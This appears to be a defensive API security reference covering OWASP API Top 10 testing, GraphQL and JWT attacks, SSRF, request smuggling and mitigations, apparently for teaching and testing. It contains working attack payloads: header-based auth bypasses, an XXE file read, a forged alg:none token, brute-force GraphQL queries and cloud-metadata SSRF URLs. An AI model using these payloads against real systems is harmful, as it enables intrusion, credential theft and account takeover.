Comprehensive API Security Guide

A practitioner’s reference for API security — attack surface, OWASP API Top 10 exploitation, authentication and authorization bypasses, GraphQL-specific attacks, rate limit evasion, API gateway hardening, open banking compliance, AI/MCP risks, real-world chains, and detection/prevention. Compiled from 49 research sources.

Table of Contents

1. Fundamentals
2. API Styles: REST vs GraphQL vs gRPC vs SOAP
3. API Recon & Attack Surface Discovery
4. OWASP API Security Top 10 (2023)
5. OWASP Web Top 10 (2025) — API Implications
6. BOLA / IDOR Deep Dive
7. Broken Authentication & Token Attacks
8. BOPLA: Mass Assignment & Excessive Data Exposure
9. Broken Function Level Authorization (BFLA)
10. Unrestricted Resource Consumption & Rate Limit Bypasses
11. Business Flow Abuse
12. SSRF in APIs
13. Security Misconfiguration & Improper Inventory
14. API Gateway Security
15. Unsafe Consumption of Third-Party APIs
16. GraphQL-Specific Attacks
17. JWT & OAuth 2.0 Exploitation
18. Injection in APIs
19. HTTP Request Smuggling in API Gateways
20. API Key & Secret Leak Detection
21. AI, MCP & Agentic API Risks
22. Open Banking & E-Commerce API Security
23. Real-World CVEs & Breach Chains
24. Tools & Automation
25. Detection & Prevention
26. Testing Checklist

1. Fundamentals

APIs now account for ~83% of web traffic and over 71% of all web requests. The average cost of an API breach is $4.88M (T-Mobile 2023, 37M users affected). API attacks increased 10-13x in 2025 (Indusface), 57% of organizations experienced at least one API-related data breach in the past two years (Traceable AI), and 97% of API vulnerabilities can be exploited with a single request (Wallarm 2026). Unlike traditional web apps, APIs expose more endpoints, lack a constraining UI, and are often protected by weaker compensating controls because developers assume machine-to-machine trust.

Why APIs fail differently from web apps:

Impact spectrum: Information disclosure → horizontal privilege escalation → vertical privilege escalation → data exfiltration → account takeover → financial fraud → full tenant compromise.

2. API Styles: REST vs GraphQL vs gRPC vs SOAP

Quick fingerprinting

# REST/Swagger
/openapi.json  /swagger.json  /swagger/index.html  /api-docs  /v1/api-docs
/actuator/mappings  /routes  /api/v1  /api

# GraphQL
/graphql  /api/graphql  /graphql/api  /v1/graphql  /query  /gql
Probe: query={__typename}

# gRPC-Web
Content-Type: application/grpc-web+proto
Service reflection: grpcurl -plaintext host:443 list

# SOAP
?wsdl  /services/  /ws/  Content-Type: text/xml; action:"..."

3. API Recon & Attack Surface Discovery

Documentation discovery paths

Hidden endpoint mining

• Walk JavaScript bundles — LinkFinder, JSMiner, secretfinder
• Grep for fetch("/api/, axios.get("/v1/, .ajax({url:
• Param Miner (Burp BApp) — up to 65k param names per request
• Content Discovery / ffuf with api-endpoints.txt, common-api-params.txt
• Google dorks: inurl:swagger.json site:target.com, inurl:api/v1 filetype:json
• waybackurls, gau, katana for historical endpoints (deprecated versions often still live)
• Mobile apps: decompile APK, grep smali/strings for URLs and API keys

HTTP methods enumeration

Enumerate every endpoint with OPTIONS, GET, POST, PUT, PATCH, DELETE, HEAD, TRACE. Admin-only mutations are frequently reachable with POST removed from docs but alive.

HTTP verbs to cycle: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD, TRACE, CONNECT
Content types to flip: application/json, application/xml, application/x-www-form-urlencoded,
                        text/xml, multipart/form-data, application/yaml, text/plain

Version enumeration

Downgrade checks — /api/v1/ often lacks fixes shipped to /api/v3/. Try:

/api/v1/users  /api/v2/users  /api/v3/users
/api/beta/users  /api/internal/users  /api/private/users
/api/dev/users  /api/staging/users
X-API-Version: 1
Accept: application/vnd.company.v1+json

4. OWASP API Security Top 10 (2023)

2019 → 2023 category changes

5. OWASP Web Top 10 (2025) — API Implications

The OWASP Web Application Top 10 was updated in 2025 (8th edition, analyzing 589 CWEs across 2.8M applications). While distinct from the API Security Top 10 (2023), the Web Top 10 has significant API overlap and introduced structural changes that affect API practitioners.

Key API implications

• SSRF consolidated under Broken Access Control (A01): Reflects that SSRF is fundamentally an access control failure. API7:2023 in the API Top 10 remains standalone — practitioners should test for both.
• Software Supply Chain Failures (A03): APIs consuming third-party libraries, SDK dependencies, and build-pipeline artifacts are in scope. PCI DSS 4.0.1 Requirement 6.3.2 now mandates API inventory including third-party components.
• Mishandling of Exceptional Conditions (A10): APIs that fail open on parsing errors, return verbose stack traces, or skip authz on exception paths are directly covered. Test: send malformed JSON, oversized payloads, unexpected Content-Types and check whether error responses bypass normal access controls.
• Security Misconfiguration (#2 rise): Configuration-driven behavior (feature flags, CORS, gateway rules, cloud IAM) continues to be the primary source of API misconfigurations.

6. BOLA / IDOR Deep Dive

BOLA tops the list because it is easy to exploit (just swap an ID), hard to detect (stateful; scanners without auth context miss it), and bypasses traditional defenses (WAFs cannot know your ownership model). In the Wallarm Q2 2025 ThreatStats report, BOLA accounted for the majority of API-related Known Exploited Vulnerabilities.

Injection points

Exploitation patterns

# Horizontal (swap to peer tenant/user)
GET /api/v1/users/12345/invoices  →  GET /api/v1/users/12346/invoices

# Null / type confusion
GET /api/v1/users/null/documents
GET /api/v1/users/0/documents
GET /api/v1/users/[]/documents
GET /api/v1/users/12345%00/documents

# Wildcard
GET /api/v1/users/*/documents

# Case sensitivity / encoding
GET /api/v1/Users/12346   (vs Users)
GET /api/v1/users/12%334  (URL-encoded 3)

# Wrap in array (JSON parser promotion)
{"user_id": [12346, 12345]}

# HTTP method swap
GET /api/orders/123 → 200
PUT /api/orders/123 → 200 (missing auth on write)
DELETE /api/orders/123 → 204

# Version downgrade
/api/v1/users/{id}  (no auth)   vs  /api/v2/users/{id}  (fixed)

Real-world BOLA

Detection checklist

• Every object reference (IDs, GUIDs, slugs, emails) swapped cross-tenant → must 403/404
• Sequential enumeration across known endpoints
• Test with no auth, low-privilege token, peer token, admin token
• Try expired/deleted/soft-deleted objects — often still readable
• Check all representations: int, string, array, object, null
• Test nested relationships (/orders/{id}/items/{item_id} — item_id often unchecked)

7. Broken Authentication & Token Attacks

Token types and common failures

Auth bypass techniques

# Header injection bypass
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Custom-IP-Authorization: 127.0.0.1
X-User-Id: 1  (trusted by backend behind gateway)

# Path confusion
GET /admin/users  → 403
GET /admin/../admin/users  → 200
GET //admin/users
GET /admin%2fusers
GET /admin;.json

# Case / trailing slash
GET /Admin/users  → bypasses lowercased-only regex
GET /admin/users/  vs /admin/users

# HTTP method override
POST /api/admin/users
X-HTTP-Method-Override: PUT
_method=DELETE (Rails)

Brute-force and credential stuffing

• Login endpoints with no CAPTCHA / no velocity checks
• Password reset enumeration — different response for existing vs non-existing email
• MFA bypass: resend endpoint without throttling, skip step by replaying pre-MFA token
• OTP race conditions
• Password reset token guessable / returned in response / logged server-side

8. BOPLA: Mass Assignment & Excessive Data Exposure

Excessive Data Exposure (response-side)

API returns full DB object; client filters. Attackers read fields not shown in UI.

GET /api/users/me
{
  "id": 123,
  "name": "alice",
  "email": "alice@example.com",
  "password_hash": "$2b$...",     ← leaked
  "reset_token": "abc123",         ← leaked
  "is_admin": false,
  "stripe_customer_id": "cus_...", ← leaked
  "ssn": "***-**-1234",            ← leaked
  "internal_notes": "VIP"          ← leaked
}

Test: Intercept every response. Diff against what the UI displays. Any extra field = finding.

Mass Assignment (request-side)

Framework auto-binds request body to model. Attacker adds extra fields.

PATCH /api/users/me
{
  "email": "new@example.com",
  "is_admin": true,          ← mass assign privilege
  "email_verified": true,    ← bypass verification
  "balance": 9999999,        ← tamper state
  "role": "admin",
  "tenant_id": 1             ← cross-tenant
}

Framework-specific binders:

Hidden field discovery

1. GET /api/users/123 → note every returned field
2. Try each field name in PATCH /api/users/me body
3. Look for 200 vs 400 behavior difference
4. Confirm with boolean-flag test: set is_admin: "foo" — if behavior differs from is_admin: true, field is bound

9. Broken Function Level Authorization (BFLA)

BFLA is privilege role escalation: user A can call endpoints that should be admin-only. Different from BOLA (which is object-level).

Test matrix

For each endpoint, run: anonymous, low-priv, peer, admin. Any endpoint that should return 403 but returns 200 for low-priv is a finding.

Common patterns

# Hidden admin path
POST /api/users         (any)
POST /api/admin/users   (admin)  ← try as low-priv

# Method swap
GET /api/users/123        (any)
DELETE /api/users/123     (admin)  ← try as low-priv

# Role param injection
POST /api/signup
{"email": "...", "password": "...", "role": "admin"}

# Trusted header from gateway
X-User-Role: admin
X-Is-Admin: true
X-Roles: ["admin","user"]

10. Unrestricted Resource Consumption & Rate Limit Bypasses

Classic resource attacks

Rate limit bypasses

# IP rotation headers (WAF / gateway trusts)
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Host: attacker.com
Forwarded: for=1.2.3.4
CF-Connecting-IP: 1.2.3.4

# Case / trailing slash (limit keyed on exact path)
/api/login  vs  /api/Login  vs  /api/login/

# Parameter padding (cache-key confusion)
/api/login?x=1  /api/login?x=2  /api/login?x=3

# Multiple accounts
Register N accounts, rotate tokens

# HTTP/2 rapid reset (CVE-2023-44487)
Abuse HTTP/2 stream reset for amplification

# GraphQL alias batching
query {
  a1: login(u:"admin", p:"pass1") { token }
  a2: login(u:"admin", p:"pass2") { token }
  ...
  a1000: login(u:"admin", p:"pass1000") { token }
}

Rate limit detection

Look for absence of X-RateLimit-Remaining, Retry-After, 429. Test each endpoint independently — per-endpoint limits often missing while global limits exist.

11. Business Flow Abuse

Legitimate endpoints, abused at scale. WAFs don’t catch because every request is “valid.”

Defenses

• Step tokens (HMAC over flow state) — binds cart → checkout
• Velocity rules per user/device/ASN
• Idempotency keys on mutating endpoints
• Expose async jobs for bulk ops (with review) instead of sync endpoints
• Device fingerprinting + behavior analytics

12. SSRF in APIs

API7 in the 2023 list. APIs are a rich SSRF surface because they frequently accept webhooks, avatar URLs, PDF/HTML rendering URLs, and OAuth/OIDC configuration URLs.

API-specific SSRF sinks

Cloud metadata quick hits

AWS IMDSv1:  http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2:  requires PUT /api/token first — blocks simple SSRF
GCP:         http://metadata.google.internal/computeMetadata/v1/  (needs Metadata-Flavor: Google)
Azure:       http://169.254.169.254/metadata/instance?api-version=2021-02-01  (needs Metadata:true)
DigitalOcean:http://169.254.169.254/metadata/v1/
Alibaba:     http://100.100.100.200/latest/meta-data/

Mitigation: Enforce IMDSv2 + metadata hop limits = 1. Deny private ranges by default in fetch libraries. Require explicit allowlist of hostnames for outbound fetches.

(See separate SSRF guide for comprehensive bypass techniques.)

13. Security Misconfiguration & Improper Inventory

Misconfig hitlist

# CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true   ← dangerous combo
Access-Control-Allow-Origin: null         ← bypasses with sandboxed iframe
Origin reflection without allowlist

# Verbose errors
Stack traces, SQL queries, file paths, internal hostnames
Swagger/GraphQL introspection in production

# Headers missing
Strict-Transport-Security
Content-Security-Policy
X-Content-Type-Options: nosniff
Cache-Control: no-store (for PII responses)

# Default credentials
admin:admin, actuator:actuator, tomcat:tomcat

# Debug endpoints
/actuator/env, /actuator/heapdump, /actuator/gateway/routes
/_debug, /__debug__, /debug/pprof
/swagger, /graphql-playground in prod

Real-world misconfig examples

• SVR Tracking (2017): Misconfigured API exposed 500k tracking devices
• FleetSecure (2024): X-Api-Version header injected JNDI lookup → RCE
• Spring Boot Actuator: /env leaks secrets, /heapdump dumps memory, /jolokia + JMX → RCE

Improper Inventory (API9) — shadow and zombie APIs

Defense: Diff OpenAPI spec ↔ observed traffic nightly. Block calls to non-owned subdomains. Alert on auth-less endpoints receiving PII. Gate merges on schema deprecation plans.

14. API Gateway Security

API gateways are single enforcement points for authentication, authorization, and rate limiting. A single flaw bypasses all controls simultaneously.

Kong API Gateway misconfigurations (Trend Micro case study)

Key insight: Kong stores every secret as plaintext by default. The community key-auth plugin does not support encryption even in enterprise. Use key-auth-enc or delegate to an external vault.

AWS API Gateway authorizer caching vulnerability

AWS API Gateway caches authorizer results keyed on the JWT only (not the requested resource). This creates two failure modes:

1. False deny: Authorizer returns Allow for GET /orders/123 only. Subsequent GET /orders/456 with same JWT is denied from cache even though the user has access.
2. False allow (security issue): To fix the above, developers return wildcard arn:aws:execute-api:*:*:*. Now a single valid JWT grants cached access to every resource for the cache TTL — bypassing per-resource authorization entirely.

Mitigation: Include resource identifiers in the cache key (set identitySource to include path/query params), or disable caching and perform authorization in the backend function.

Gateway hardening checklist

• Admin API bound to localhost only; not forwarded from containers
• Network-level restriction (security group / firewall) on admin ports
• Secrets stored in external vault (HashiCorp Vault, AWS Secrets Manager)
• Authorizer cache keys include resource path, not just JWT
• Lua sandbox enabled; untrusted module imports blocked
• HTTP/2 end-to-end where possible to prevent downgrade smuggling
• RBAC on admin API (enterprise) or proxy-authenticated route to admin
• Plugin encryption/vault support verified before deployment

15. Unsafe Consumption of Third-Party APIs

Trust boundary doesn’t end at your own gateway. Vendor responses are untrusted input.

Failure modes:

• Vendor returns HTML/script injected in a string field → stored XSS in your UI
• Vendor returns unexpected status code → exception handling reveals internals
• Vendor redirect → SSRF in your follow-up fetch
• Vendor response not schema-validated → type confusion
• Vendor breach → stolen API key used to query your backend

Controls:

16. GraphQL-Specific Attacks

Endpoint discovery

Common paths: /graphql  /api/graphql  /graphql/api  /v1/graphql  /query  /gql
Universal probe: {__typename}  → returns {"data":{"__typename":"query"}}

Try POST application/json, then GET with ?query=, then POST x-www-form-urlencoded (CSRFable).

Introspection attack

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types { ...FullType }
  }
}

If blocked, try bypasses:

# Newline between keyword and brace (naive regex bypass)
{"query": "query{__schema\n{queryType{name}}}"}

# Method swap — often POST blocked, GET allowed
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D

# Content-type swap
Content-Type: application/x-www-form-urlencoded
query=query{__schema{queryType{name}}}

Clairvoyance (suggestion-based schema recovery)

Apollo returns Did you mean 'productInformation'? on typos. Tool: Clairvoyance recovers schema even with introspection disabled.

Alias-based rate limit bypass

Single HTTP request, N operations:

query bruteDiscount {
  c1: checkCode(code: "ABC001") { valid }
  c2: checkCode(code: "ABC002") { valid }
  c3: checkCode(code: "ABC003") { valid }
  ...
  c1000: checkCode(code: "ABC1000") { valid }
}

Also used for login brute force, OTP brute force, email enumeration.

Batching bypass

[
  {"query": "mutation { login(u:\"a\", p:\"p1\") { token } }"},
  {"query": "mutation { login(u:\"a\", p:\"p2\") { token } }"},
  ...
]

Query depth / field duplication DoS

query {
  user {
    posts {
      author {
        posts {
          author {
            posts { ... recursive ... }
          }
        }
      }
    }
  }
}

Unbounded recursion crushes resolvers. Mitigations: graphql-depth-limit, graphql-cost-analysis, persisted queries.

GraphQL CSRF

If endpoint accepts GET or x-www-form-urlencoded POST, state-changing mutations become CSRFable. Must force application/json content-type and reject everything else.

Field-level authorization failure

REST secures entire endpoints. GraphQL demands field-level authorization. An authenticated user accessing a user profile should not see internal notes or admin-only fields, but GraphQL returns all requested fields if the top-level query succeeds without field-level controls. 70% of organizations now use GraphQL (Wallarm Q2 2025), yet zero GraphQL-specific breaches were reported in Q2 — likely because organizations fail to detect and attribute them, not because GraphQL is safe.

Test: Authenticate as low-priv user, request admin-only fields (e.g., internalNotes, apiKey, adminFlag). If returned, field-level authz is missing.

IDOR via direct argument

query { product(id: 3) { name, listed } }   # Gets delisted product
query { user(id: 1) { email, apiKey } }     # Gets other user

GraphQL attack tools

• InQL (Burp) — schema parsing, query generation, point-and-click mutation testing
• GraphQL Cop — misconfiguration scanner
• GraphQL Voyager — schema visualizer
• Clairvoyance — schema recovery from suggestions
• BatchQL — batch/aliasing tests
• GraphW00F — GraphQL fingerprinting

17. JWT & OAuth 2.0 Exploitation

JWT attack table

# alg:none example
eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

Tools: jwt_tool, jwt-cracker, hashcat -m 16500

OAuth 2.0 attacks

OIDC-specific

• jwks_uri SSRF
• issuer injection
• Unvalidated id_token signature
• aud claim = wrong client_id

18. Injection in APIs

APIs are injection-rich because they forward raw JSON into backends. Classic injection categories all apply:

Content-Type flipping

APIs often secure JSON but unsafe for XML:

POST /api/user
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>

19. HTTP Request Smuggling in API Gateways

Request smuggling exploits disagreements between how a gateway and backend determine where one HTTP request ends and another begins. In API gateway architectures the impact is amplified because gateways multiplex many client connections over shared backend connections.

Attack types

Real-world gateway smuggling CVEs

Detection

• Timing-based: Send conflicting CL/TE headers; backend timeout confirms parsing disagreement
• Differential response: Smuggle request to non-existent path; 404 on next legitimate request confirms desync
• Automated: Purpose-built tools generate CL.TE, TE.CL, TE.TE, and H2 downgrade payloads across every endpoint

Prevention

1. Use HTTP/2 end-to-end (frame-based length eliminates CL/TE ambiguity)
2. Disable backend connection reuse (isolates smuggling impact)
3. Normalize and reject ambiguous requests at gateway (reject requests with both CL and TE)
4. Audit gateway settings after every infrastructure update

20. API Key & Secret Leak Detection

API keys are the most common credential type leaked in source code, configuration files, and client-side bundles.

Common leak vectors

Detection tools

Validation workflow

1. Identify key type using secrets-patterns-db regex matching
2. Validate key is live using keyhacks or nuclei -t token-spray/ -var token=token_list.txt
3. Determine scope — what resources/APIs does the key grant access to?
4. Report with impact: data access, financial exposure, lateral movement potential

21. AI, MCP & Agentic API Risks

AI agents (LLM-powered systems calling APIs autonomously) introduce a new attack surface. The Wallarm 2026 API ThreatStats Report found MCP vulnerabilities grew 270% between Q2 and Q3 2025, and AI-specific API CVEs jumped from 19 to 34 in a single quarter.

Emerging threat vectors

OWASP Top 10 for Agentic Applications (2026)

OWASP released a dedicated Top 10 for Agentic Applications (March 2026) covering:

• Goal hijacking and insecure inter-agent communication
• Excessive agency / over-permissioned tool calls
• Inadequate sandboxing of agent execution environments
• Supply chain risks in MCP server dependencies

Defensive controls for AI APIs

• Disable default MCP endpoints; enforce fine-grained access controls per tool
• Deep inspection of every MCP tool invocation and parameter
• Context-aware access control evaluating model state, device posture, user behavior
• Rate limit and budget cap on LLM/AI API calls (prevents API4 cost abuse)
• Treat all AI agent API calls as untrusted — validate responses, enforce output schemas
• Monitor query patterns for abnormal complexity or access attempts

22. Open Banking & E-Commerce API Security

Open banking

Open banking APIs carry account balances, transaction histories, personal identifiers, and payment credentials through standardized endpoints (/accounts/{accountId}/transactions). The predictable surface makes BOLA trivially exploitable.

Stats: 92% of financial services organizations experienced API security problems in production (Salt Security). 27% of all API-focused DDoS attacks targeted financial firms in H1-2025 (Imperva). BOLA accounts for ~40% of all API attacks in financial services.

Real-world: Evolve Bank & Trust hit by LockBit ransomware (2024), exposing 7.6M records, cascading across fintech partners (Wise, Affirm, Mercury, Stripe). Salt Labs discovered critical SSRF in a major US fintech platform serving hundreds of banks — could have enabled admin ATO and unauthorized fund transfers.

Compliance requirements affecting APIs

E-commerce API threats

23. Real-World CVEs & Breach Chains

Chain patterns

BOLA → PII disclosure → phishing → ATO
Mass assignment → privilege escalation → admin API → full tenant takeover
SSRF → cloud metadata → IAM credentials → S3 exfil → ransomware
Introspection leak → hidden mutation → BFLA → admin takeover
Broken auth on reset → email hijack → OAuth account linking → SSO ATO
Shadow API /v1 → no rate limit → brute force → ATO
GraphQL alias batching → login brute → ATO
Request smuggling → gateway auth bypass → unauthenticated backend access → data exfil
JS bundle API key leak → Graph token → Azure AD enumeration → 50K user PII
Gateway authorizer cache wildcard → JWT reuse → cross-resource access for cache TTL
MCP tool poisoning → agent calls unauthorized API → data exfiltration
LLM prompt flooding → metered API cost explosion → financial DoS

24. Tools & Automation

Proxies & interception

Key Burp BApps for API testing

• Autorize — automatic BFLA/BOLA detection via two-session diff
• AuthMatrix — manual matrix auth testing
• InQL — GraphQL scanner
• JWT Editor — sign/unsign/tamper tokens
• Param Miner — hidden parameter discovery
• JS Link Finder — extract endpoints from JS
• OpenAPI Parser — import Swagger into Burp
• Content Type Converter — JSON ↔ XML flipping
• Logger++ — advanced request logging

Standalone / CLI

REST fuzzing research

Academic work (Microsoft RESTler, follow-ups) adds access policy violation checks and injection attack detection on top of stateful REST fuzzing. Key insight: sequences of API calls expose bugs single-request fuzzers miss, because state changes unlock hidden code paths.

OpenAPI specification security auditing

Exposed OpenAPI/Swagger definition files are a significant recon vector. Tools like Swagger Jacker (Bishop Fox) and Autoswagger (Intruder) automate:

1. Discovery of spec files via direct URL, Swagger UI scraping, and brute-force of common paths
2. Enumeration of all routes, methods, and parameters from the spec
3. Unauthenticated endpoint testing with auto-generated requests
4. PII detection (via Presidio) and secret scanning (TruffleHog-style regex) in responses
5. Auth requirement verification — identify endpoints returning 200 without credentials

APIDetector (BlackHat Arsenal 2024) adds Swagger version-specific XSS detection and multi-domain scanning.

25. Detection & Prevention

Design-time controls

• Schema-first development — OpenAPI/GraphQL schema is source of truth; code generated or validated against it
• DTO projection — never bind request body directly to DB model
• Explicit field allowlists on every write path
• Centralized authz middleware — never hand-roll per endpoint
• Attribute-based access control (ABAC) — resource + subject + action + context
• Deny-by-default egress — allowlist outbound hosts
• Rate limits on every endpoint, not just global

Gateway / runtime controls

Detection / monitoring

• Unusual enumeration patterns — many 404s or sequential IDs from one token → BOLA probing
• Response size anomaly — token suddenly returning 10× data → BOPLA abuse
• Auth failure spike → credential stuffing
• New endpoints not in spec → shadow API
• 5xx spike → fuzzing in progress
• Unusual method usage → method override probing
• High-cost query → GraphQL depth abuse
• Token reused across IPs → stolen credential

CI/CD gates

SAST/DAST signal sources

• SAST: flag User.update(params[:user]), new User(req.body), missing @JsonIgnore, any ?redirect= sink
• DAST: schema replay, authz diff between roles, fuzz hidden params, method cycling
• IAST: catch ownership-check omissions at runtime
• API discovery: correlate actual traffic against OpenAPI spec

26. Testing Checklist

Recon

• Fetch /openapi.json, /swagger.json, /v3/api-docs, /api-docs
• Fingerprint GraphQL at common paths with {__typename}
• Extract endpoints from JS bundles (LinkFinder)
• Walk JS for hardcoded URLs, tokens, API keys
• waybackurls + gau for historical endpoints
• Check /actuator/*, /_debug, /debug/pprof
• Enumerate API versions: /api/v1..v5, /api/internal, /api/beta
• Mobile app: decompile, grep for endpoints
• Check for Swagger UI / GraphQL Playground in prod

Authentication (API2)

• Try no auth on every endpoint
• Try expired token
• Try another user’s token
• Try modified JWT (alg:none, algorithm confusion)
• Crack weak HMAC secrets
• Test kid header tampering
• Password reset token leakage / predictability
• MFA bypass via direct endpoint
• OAuth redirect_uri manipulation
• OAuth state/nonce missing

BOLA (API1)

• Swap every object ID in path, query, body, header
• Try cross-tenant IDs
• Try sequential enumeration
• Try deleted object IDs
• Try null/array/object type confusion
• Test nested references
• Check old API versions for missing checks

BOPLA (API3)

• Diff API response against UI display for hidden fields
• Enumerate fields via GET then try in PATCH/PUT
• Try is_admin, role, verified, balance, tenant_id
• Try boolean/string type confusion on privilege fields
• Check nested object mass assignment

Resource consumption (API4)

• Send oversized payload (>100MB)
• Deeply nested JSON (1000 levels)
• Unbounded pagination (?limit=999999)
• Absent rate limiting per endpoint
• GraphQL alias batching
• Unbounded file upload

BFLA (API5)

• Call admin endpoints as low-priv user
• Method swap (GET→DELETE, GET→PUT)
• Try X-User-Role: admin trusted header
• Register with role: admin in body

Business flow (API6)

• Replay checkout / redeem endpoints
• Brute-force discount codes
• Coupon stacking
• Referral abuse

SSRF (API7)

• Every webhook/URL field → try http://169.254.169.254/...
• Private ranges, localhost, IPv6, DNS rebinding
• OIDC jwks_uri, SAML metadata_url
• PDF/HTML rendering endpoints

Misconfig (API8)

• CORS: origin reflection, null origin, credentials + wildcard
• Verbose errors / stack traces
• Missing security headers
• Default credentials
• Debug endpoints exposed

Inventory (API9)

• Shadow endpoints not in docs
• Deprecated v1 still live
• Staging domains with prod data

Unsafe consumption (API10)

• Does backend validate third-party responses?
• Can I poison a response (e.g. DNS) to inject?

GraphQL-specific

• Introspection enabled?
• Bypass with newline/method swap
• Suggestions enabled (Clairvoyance)?
• Alias batching for rate bypass?
• Query batching?
• Depth limits enforced?
• Cost analysis?
• CSRF via GET / form-encoded POST?
• IDOR via direct arguments?

API Gateway (new)

• Admin API reachable from internet? (Kong 8001/8443, etc.)
• Authorizer cache key includes resource path, not just JWT?
• Send conflicting CL/TE headers — timing-based smuggling detection
• HTTP/2 downgrade to HTTP/1.1 — test H2.CL smuggling
• Secrets stored encrypted or in vault (not plaintext in DB)?
• Lua sandbox enabled on serverless plugins?

API Key Leaks (new)

• Scan JS bundles for hardcoded API keys / tokens
• Check .env, config.json, .aws/credentials in repos
• Validate found keys with keyhacks / nuclei token-spray
• Mobile app decompile for embedded secrets

AI / MCP (new)

• Default MCP endpoints disabled in production?
• AI agent API calls rate-limited and budget-capped?
• Agent tool calls inspected for prompt injection?
• LLM API responses validated against output schema?

Injection

• SQLi in JSON fields (sqlmap with * markers)
• NoSQL operator injection ({$ne: null})
• Command injection in filename/path fields
• SSTI in template fields
• XXE via content-type flip
• Log4Shell in User-Agent, Referer, X-Forwarded-For, custom headers
• CRLF injection in header reflection

Appendix A: Quick Payload Reference

BOLA test payloads

/api/users/1  /api/users/2  /api/users/0  /api/users/-1
/api/users/null  /api/users/%00  /api/users/[]
/api/users/1/../2  /api/users/1%2f..%2f2

Mass assignment field dictionary

is_admin  isAdmin  admin  role  roles  permissions  scopes
verified  email_verified  is_active  is_staff  is_superuser
balance  credit  points  tokens
tenant_id  organization_id  account_id  owner_id
created_by  updated_by  deleted  deleted_at
password_hash  api_key  secret  token  refresh_token

Rate limit bypass headers

X-Forwarded-For, X-Real-IP, X-Client-IP, X-Originating-IP,
X-Remote-IP, X-Remote-Addr, X-Host, X-Forwarded-Host,
CF-Connecting-IP, True-Client-IP, Forwarded, Via

Auth bypass headers

X-Original-URL, X-Rewrite-URL, X-Override-URL
X-HTTP-Method-Override, X-HTTP-Method, X-Method-Override
X-User-Id, X-User, X-Roles, X-Role, X-Is-Admin
X-Authenticated-User, X-Auth-User, X-Forwarded-User

GraphQL universal probe

{"query": "{__typename}"}

GraphQL introspection bypass

{"query": "query{__schema\n{queryType{name}}}"}

JWT alg:none

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.

Appendix B: Framework Quick Notes

Appendix C: Further Reading

• OWASP API Security Top 10 2023 — https://owasp.org/API-Security/
• OWASP Web Top 10 2025 — https://owasp.org/Top10/2025/
• OWASP Top 10 for Agentic Applications (2026) — https://genai.owasp.org/
• PortSwigger Web Security Academy: API testing, GraphQL
• Wallarm API ThreatStats (quarterly) — Q2 2025: AI API CVEs, BOLA dominance, GraphQL blind spots
• APIsec University (free labs)
• HackerOne Hacktivity: filter by API weakness
• VAmPI, crAPI, DVGA — intentionally vulnerable API labs
• Books: “Hacking APIs” (Corey Ball), “Black Hat GraphQL”
• PayloadsAllTheThings: API Key Leaks — https://github.com/swisskyrepo/PayloadsAllTheThings
• Trend Micro: Kong API Gateway Misconfigurations case study
• Unit 42: Grafana BOLA (CVE-2024-1313) analysis
• APIsec: HTTP Request Smuggling in API Gateways
• FAPI 2.0 Security Profile — https://openid.net/specs/fapi-security-profile-2_0.html
• PCI DSS 4.0.1 API requirements (Req 6.3.2, 6.4.2)

Defensive security reference. Compiled for practitioner use in red-team / blue-team / developer education contexts.